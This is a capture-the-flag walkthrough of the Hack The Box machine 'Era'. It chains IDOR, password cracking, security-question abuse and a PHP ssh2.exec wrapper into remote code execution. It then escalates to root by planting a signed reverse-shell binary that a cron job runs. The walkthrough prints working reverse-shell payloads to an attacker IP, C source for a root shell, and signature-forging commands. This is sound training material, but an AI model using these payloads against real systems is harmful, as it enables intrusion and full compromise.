HTB: Era Writeup
Era is a medium-difficulty Linux machine that blends web exploitation with a clever twist on binary integrity abuse. The attack surface begins with a custom PHP-based file-upload platform riddled with Insecure Direct Object Reference (IDOR) flaws, weak access controls, and improperly protected administrative functionality. Through service enumeration, virtual host discovery and directory enumeration, these issues broaden into more significant weaknesses, ranging from insecure file management to flawed authentication logic that can be manipulated to retrieve an administrative site backup and ultimately impersonate the admin user.
A closer examination of the application’s source code uncovers a vulnerable file-preview mechanism that misuses PHP stream wrappers, enabling remote code execution through crafted requests. This foothold leads directly into a reverse shell via the application’s SSH integration module. Privilege escalation becomes the final challenge. A root-executed monitoring service relies on superficial signature validation for an ELF binary. This weak validation makes it trivial to craft and substitute a malicious “signed” binary, resulting in full root access.
Era ultimately showcases a complete exploitation chain: service enumeration, virtual host and file discovery, insecure file management, weak access controls, PHP wrapper abuse and a creative privilege escalation vector through flawed signature validation, making it an excellent demonstration of how small security oversights can compound into total system takeover.
About Era
- OS: Linux
- Difficulty: Medium
- Release Date: 26 Jul, 2025
Environment Setup
- Before beginning the assessment, initialize your working directory and verify connectivity:
mkdir Era && cd Eraping -c 3 10.10.11.79Network Enumeration
- To begin mapping the exposed attack surface, a comprehensive Nmap scan is performed using service detection, default scripts and verbose output:
sudo nmap -sCV -vv -oN era.nmap 10.10.11.79Scan Findings
The scan identifies two open TCP services on the target host:
- Port 21 (FTP) : Service
vsftpd 3.0.5 - Port 80 (HTTP): The web server responds with a redirect to
http://era.htb/, suggesting the use of a virtual host.
Hostname Discovery
- From Nmap’s output we discover the hostname
era.htb, and to interact with the web application the hostname must be resolved locally. - This is done by adding the entry below to your
/etc/hostsfile:
10.10.11.79 era.htbFTP Enumeration
- Initial enumeration of the FTP service running on
vsftpd 3.0.5did not reveal any immediately exploitable vulnerabilities. - A review of publicly known issues for this version yielded no relevant attack vectors, and a quick
searchsploit vsftpd 3.0.5lookup confirmed the absence of applicable exploits. - To verify whether the service allowed unauthenticated access, we attempted to connect directly:
ftp 10.10.11.79- As part of standard FTP testing, we attempted the default anonymous login with the common credentials:
Name: anonymous;Password: anonymous. - However, anonymous authentication was not permitted, leaving us without further avenues to pursue through FTP at this stage. We move on regardless!
Website Content Review
- With FTP proving unproductive, attention shifted to the web service identified earlier.
- Navigating to
http://era.htb/revealed a predominantly static website.
- The About Us section provides context about the fictional company “Era Designs Inc.”, highlighting its focus on interior design and notably, its capability to develop web applications. The information here was largely informational.
- Further inspection of the site’s public content reveals a Team section listing several staff members: Tom Rensed — Chief Executive Officer, Kathren Mory — Vice President and Lancer Jack — Senior Manager.
- Although these names could potentially serve as username candidates, none of them provided any actionable value during enumeration.
- The Contact section includes an email address,
support@era.htb, but it also proved unhelpful in the context of exploitation. - Its associated contact form functions as a simple static placeholder, offering no interactive features worth testing for input handling vulnerabilities.
- A review of the website’s HTML source code similarly yielded no useful indicators, hidden paths, or embedded functionality, prompting further exploration beyond the static content.
Virtual Host and Subdomain Enumeration
- To expand the attack surface, virtual host enumeration was conducted using
gobuster(thoughffufwould be an equally suitable alternative):
gobuster vhost --url http://era.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100 -output era_vhosts.txt— append-domainoption automatically appends the base domain (era.htb) to each wordlist entry, generating valid VHost candidates.- Threading (
— threads 100) was increased from the default to accelerate the brute-force process. In real-world scenarios, however, high thread counts can raise alerts on monitoring systems — so Operations Security (OpSec) should always be taken into account. - The enumeration produced a single valid virtual host:
file.era.htb. - This host was added to
/etc/hoststo ensure proper resolution.
Exploring file.era.htb
Navigating to http://file.era.htb/ revealed several accessible links:
- Manage Files
- Upload Files
- Update Security Questions
- Sign In
All of these pages redirect to the Sign In portal, indicating authentication is required before any functionality is exposed.
A secondary login option is available: “Log in Using Security Questions”. This is noteworthy as we will revise it later.
The form prompts for:
- Username
- Mother’s maiden name
- Name of first pet
- City of birth
Submitting placeholder values did not yield any useful feedback or facilitate username enumeration, so this avenue is set aside for now pending further discoveries.
Directory Enumeration
- To uncover additional functionality on the
file.era.htbvirtual host, a directory enumeration scan was performed usinggobuster:
gobuster dir --url http://file.era.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --extensions php --exclude-length 162,6765 --threads 100 --no-error --output era_dir_enum.txt--extensions phpensures the scan also checks for PHP files, which are common entry points on custom web applications.--exclude-lengthfilters out repeated responses based on length to allow us get meaningful results.
- Most discovered endpoints either returned 403 Forbidden or redirected to
login.php, the Sign In portal.
- However, an important exception emerged,
register.php.
User Registration via register.php
The /register.php endpoint enabled the creation of new user accounts. During registration, a server-side filter was observed: certain substrings (e.g., or) were sanitized, altering our input. For example. attempting to register with the password password resulted in the stored value passwd. So when you attempt to login in, you will use your password as passwd instead of password.
Once registered, the application redirected to the login page and after signing in, provided access to several new sections:
- Manage Files
- Upload Files
- Update Security Questions
- Sign Out
- The Manage Files area displayed uploaded files and related metadata.
- Upload functionality allowed submitting files, though attempts at common file upload attacks were unsuccessful.
- Each uploaded file became available through a download link resembling:
http://file.era.htb/download.php?id=8506- The parameterized
idvalue suggested the potential for Insecure Direct Object Reference (IDOR) exploitation.
IDOR Testing
- To automate testing of the
idparameter, a fuzzing approach usinggobusterwas used:
seq 1 9000 > ids.txt && gobuster fuzz --url 'http://file.era.htb/download.php?id=FUZZ' --cookies 'PHPSESSID=iki73t26fmencd8s3tddsn2k5d' --wordlist ids.txt --exclude-length 7686 --output fuzzed_ids.txtseqgenerates numeric IDs for testing and stores them in theids.txtfile.gobuster fuzziterates through each ID using an authenticated session cookie.seq 1 9000was used to include our file id in the results as our downloaded file had the id8506.- To obtain a valid session cookie intercept the download file request:
--exclude lengthremoves common error and unnecessary responses, highlighting unique outputs.
- The valid IDs were discovered, including our own (
8506) and two additional ones:54and150.
ID 54 — Site Backup
- Visiting:
http://file.era.htb/download.php?id=54yielded a downloadable archive: site-backup-30–08–24.zip
- After extracting:
mkdir site-backup && cd site-backup7z x ../site-backup-30-08-24.zipA variety of application files were revealed. Of particular interest:
filedb.sqlite— the application’s database.download.php— the backend logic for file retrieval.
Both would prove useful for deeper analysis.
ID 150 — Signing Files
- Navigating to:
http://file.era.htb/download.php?id=150allowed retrieval of signing.zip, which was extracted as follows:
mkdir signing && cd signing7z x ../signing.zipThe archive contained two files:
key.pemx509.genkey
These cryptographic files appear related to the application’s signing mechanisms and will become significant later in the privilege escalation phase.
Database Analysis and Credential Extraction
- With access to the site backup, the next step involved examining the SQLite database (
filedb.sqlite) to extract user information, file metadata and any potential authentication credentials. - The database was inspected using the SQLite CLI:
sqlite3 filedb.sqlite- The following queries were issued:
.schema
SELECT * FROM files;
SELECT * FROM users;
SELECT user_name, user_password FROM users;The schema revealed three primary tables:
files— stores file identifies, paths, owner IDs, and timestamps.users— contains user credentials, auto-delete settings, and security question answers.sqlite_sequence— tracks AUTOINCREMENT state.
Reviewing the contents of the users table exposed several accounts along with their hashed passwords.
Preparing Hashes for Cracking
- To streamline cracking with
Hashcat, the extracted username:hash pairs were reformatted by replacing pipe separators with colons. Usingvim, this was performed with:
:%s/|/:/g- Before cracking, it was necessary to identify the hash type. Extracting only the hashes into a file and running
hashidproduced:
Blowfish(OpenBSD) [Hashcat Mode: 3200]Cracking the Passwords
- Using Hashcat (
-m 3200) and therockyou.txtwordlist yielded two successful cracks:
hashcat.exe -m 3200 --username HTB\hashes\hashes HTB\wordlists\rockyou.txt- Displaying the cracked hashes:
hashcat.exe -m 3200 --username HTB\hashes\hashes --show- Recovered credentials:
eric:america
yuri:mustangFTP Access and Configuration Discovery
- Further analysis revealed that one of the uncracked accounts,
admin_ef01cab31aa, is likely the platform’s administrative user. Although the password could not be recovered at this stage, its potential significance should be kept in mind. - With the newly obtained credentials, it was time to revisit the earlier FTP service enumeration in hopes of gaining authenticated access:
eric:america— 530 Permission denied.yuri:mustang— Login successful.
Enumerating FTP as yuri
After successfully logging in, directory listing revealed two folders:
apache2_confphp8.1_conf
Exploring apache2_conf
Get Natius’s stories in your inbox
Join Medium for free to get updates from this writer.
Within apache2_conf, four Apache configuration files were identified:
000-default.confapache2.conffile.confports.conf
All files were downloaded locally using:
mget *- A review of their contents showed standard web server configuration data.
Exploring php8.1_conf
- The second FTP directory,
php8.1_conf, contained PHP-related configuration files. - Among them, the presence of
ssh2.sowas particularly interesting. - This extension enables SSH2 stream wrappers in PHP, potentially allowing remote command execution under certain conditions.
Revisiting download.php
- Returning to the
download.phpfile extracted earlier, one section stood out: a BETA feature reserved for the admin that allows rendering files using PHP wrappers. - The key Logic
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}This code demonstrates:
- The admin can specify a wrapper protocol via
format=(e.g.,ssh2://,php://, etc.). - If the wrapper is valid, it is prepended directly to the file path in an
fopen()call. - This can lead to command execution capability in our case.
Given the earlier discovery of ssh2.so on the FTP server, this functionality becomes particularly promising for exploitation. The extension could allow code execution through SSH2 stream wrappers.
Abusing Security Question Reset Functionality
- During review of the Update Security Questions feature, an important observation emerged: the form includes a modifiable Username field, implying that users can reset the security questions for any account, not just their own. This weakness becomes crucial when combined with the earlier discovery of the administrative user
admin_ef01cab31aa.
Security Question Fields:
- Username
- What is your mother’s maiden name?
- What is the name of your first pet?
- In which city were you born?
Using this functionality, it is possible to reset the security questions for the admin account and authenticate as that user.
After successfully doing so and logging in as admin_ef01cab31aa, the Manage Files section exposes two familiar archives:
site-backup-30–08–24.zipsigning.zip
Leveraging the Admin-Only BETA Feature for RCE via SSH2 Wrapper
- When attempting to download
site-backup-30–08–24.zip, the request was intercepted and modified to trigger the admin-only file preview (show=true) functionality.
- The
formatparameter allows use of PHP stream wrappers, includingssh2.exec://, identified earlier within the system’s PHP configuration.
Proof-of-Concept Ping Injection
- Modified request captured via Burp:
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145; HTTP/1.1Key points:
show=true— activates the admin-only preview mode.format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145— injects the SSH2 execution wrapper.- Trailing
;is required, to separate the command. - Local Machine listens for ICMP traffic:
sudo tcpdump -i tun0 -v icmp- The response confirms successful execution:
Obtaining a Reverse Shell
- A reverse shell payload was injected using the same wrapper:
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.145/9001+0>%261'; HTTP/1.1- Setup a listener on the attacking machine:
nc -nlvp 9001- A fully interactive shell was obtained as
ericuser. - Shell Upgrade was necessary:
python3 -c 'import pty;pty.spawn("/bin/bash")'- Press
Ctrl-z - We get back to our local terminal. We then enter the command below and press
<ENTER>to get the shell prompt forericuser:
stty raw -echo; fgThe
stty raw -echocommand suppresses the annoying behavior of echoing characters back to you while executing commands.
- To clear our screen and ensure proper handling of cursor movements:
export TERM=xterm- With stable shell access, the user flag was retrieved.
Local Enumeration
- To Access
yuriuser account:
su - yuri- When prompted enter
yuri‘s password.
Sudo privilege checks:
sudo -l- Result for both
ericandyurireturn the errorSorry, user <user> may not run sudo on era.
User and Group Memberships
whoamiidgroupsericbelongs toericanddevsgroups, interesting results!yuribelongs only toyurigroup
Checking for Valid Users with a Shell
grep 'sh$' /etc/passwd- Valid users are
root,ericandyuri
Identifying devs Group Resources
find / -group devs 2>/dev/null- Inside
/opt/AV/periodic-checks, we have two filesmonitorbinary file andstatus.loglog file - This directory is writable by users in the
devsgroup, meaningericcan modify or replace files here, setting the stage for a binary-hijack and signature-abuse privilege escalation path.
Privilege Escalation via Cron-Triggered Binary Signature Validation
- Further analysis revealed that a cron job executes every minute, interacting directly with the
monitorbinary located in/opt/AV/periodic-checks. - This suggested the presence of an automated validation or integrity-checking mechanism.
- To verify this,
pspywas deployed to monitor real-time process activity.
- To run
pspy64:
./pspy64Identifying Cron Activity with pspy
- After downloading, transferring and running
pspy64, the following recurring process chain was observed:
2025/12/05 08:51:07 CMD: UID=0 PID=1 | /sbin/init
2025/12/05 08:52:01 CMD: UID=0 PID=9834 | /usr/sbin/CRON -f -P
2025/12/05 08:52:01 CMD: UID=0 PID=9835 | /usr/sbin/CRON -f -P
2025/12/05 08:52:01 CMD: UID=0 PID=9836 | bash -c /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9837 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/12/05 08:52:01 CMD: UID=0 PID=9838 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9839 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9842 | grep -oP (?<=UTF8STRING :)Era Inc.
2025/12/05 08:52:01 CMD: UID=0 PID=9840 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9845 | grep -oP (?<=IA5STRING :)yurivich@era.com
2025/12/05 08:52:01 CMD: UID=0 PID=9843 | /bin/bash /root/initiate_monitoring.sh
2025/12/05 08:52:01 CMD: UID=0 PID=9846 | /bin/bash /root/initiate_monitoring.shKey findings:
- A cron job triggers
/root/initiate_monitoring.shevery minute. - The script uses
objcopyto extract the.text_sigsection from themonitorbinary. - This strongly suggests signature validation of the binary prior to execution.
- Since
monitorresides in a directory owned byroot:devsand is writable by thedevsgroup, usereric(a member ofdevs) can overwrite it, but only if the replacement includes a valid signature section.
Option 1: Reusing the Extracted Signature for a Malicious Binary
- Extracting the
.text_sigsection intotext_sig_section.bin:
cd /dev/shmobjcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitorAfter extracting the .text_sig section into text_sig_section.bin, a custom reverse-shell binary was created locally:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.145/9002 0>&1'");
return 0;
}Building and Preparing the Malicious Binary
- On our local machine:
gcc monitor_shell.c -o monitor_shellpython -m http.server- On the target machine:
cd /dev/shmwget http://10.10.14.145:8000/monitor_shellobjcopy --add-section .text_sig=text_sig_section.bin monitor_shell- The listener was started:
nc -nlvp 9002- The malicious binary is then copied over
monitorbinary file:
cat monitor_shell > /opt/AV/periodic-checks/monitor- Within one cron cycle, a root reverse shell was obtained and we can obtain the root flag.
Option 2: Creating a Fully Valid Signed Binary Using Provided Keys
- The previously downloaded
signing.ziparchive containedkey.pemandx509.genkey - These files enable the creation of a properly signed binary that passes the system’s integrity check.
Steps to Build a Signed Malicious Binary:
- On the local machine:
mkdir monitor_bin && cd monitor_bin- Using
vimeditor create a filevi monitor_shell.cand copy the contents below:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.145/9003 0>&1'");
return 0;
}- Compile the
monitor_shell.cbinary:
gcc monitor_shell.c -o monitor_shell- Generate a self-signed certificate:
openssl req -new -x509 -key ../signing/key.pem -out cert.pem -days 365 -config ../signing/x509.genkeyExplanation:
The above command creates a new self-signed x.509 certificate (
cert.pem) using the private keykey.pem. The certificate is valid for 365 days and uses the settings defined in the OpenSSL config filex509.genkey. This certificate will be used to sign the malicious binary.
- Sign the binary using Cryptographic Message Syntax (CMS):
openssl cms -sign -in monitor_shell -signer cert.pem -inkey ../signing/key.pem -outform DER -out text_sig_section.sig -nodetach -nosmimecap -nocerts -noattrExplanation:
The above command digitally signs the
monitor_shellbinary using the certificatecert.pemand the private keykey.pem.The output is a CMS signature in DER format stored in
text_sig_section.sig.The flag
-nodetachembeds the signature directly with the data (no detached signature).The flags
-nosmimecap,-nocerts,-noattrproduces a minimal signature without extra metadata, certificates or attributes.
- Embed the signature into the binary:
objcopy --add-section .text_sig=text_sig_section.sig --set-section-flags .text_sig=readonly monitor_shell- Host the binary for upload on the target machine:
python -m http.server- On the target machine:
cd /opt/AV/periodic-checkswget http://10.10.14.145:8000/monitor_shellcat monitor_shell > monitor- Start a listener on the local machine:
nc -nlvp 9003- Once the
cronjob executed, a second root shell was received and we can read the root flag.
Conclusion
The Era machine delivers a realistic, well-designed progression of vulnerabilities that demonstrate how small weaknesses can be chained into a full system compromise. Initial enumeration exposed weak access controls and an IDOR flaw that granted access to sensitive backups and signing materials.
The standout challenge was the privilege-escalation mechanism: a recurring cron job validating a custom-signed binary. By extracting the signature workflow and crafting a malicious binary with a legitimate-looking signature, we bypassed the system’s integrity checks and achieved root access.
Overall, Era is a perfect reminder that when access controls are weak and internal security checks are taken on faith, an attacker can stroll through the system like they’ve been handed the VIP pass. Hasta pronto mis amigos!😎









